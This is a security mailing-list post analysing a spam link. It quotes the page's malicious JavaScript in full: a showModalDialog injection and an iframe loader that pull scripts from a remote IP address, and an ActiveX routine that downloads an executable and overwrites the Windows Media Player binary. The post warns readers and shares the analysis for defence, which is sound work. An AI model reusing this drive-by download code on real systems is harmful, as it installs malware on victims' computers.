Received a spam this morning claiming I have a voicemail with the link (warning do not click the link)
http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)
which brings up a frames based page with one of the frames containing this
function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;di alo gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'";
Anyone want to try and analyze what this thing is? It was spammed to about 30 addresses here this morning.
All this does is call more functions:
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='http://219.234.95.124/vbox/shellscript.js'><\/SCRIPT>");
}
document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);
The real action is at the "RealShell" address:
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://219.234.95.124/vbox/w_e_d.exe",0);
x.Send();var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";The rest should be fairly obvious from the above code.
Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/ir/security/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
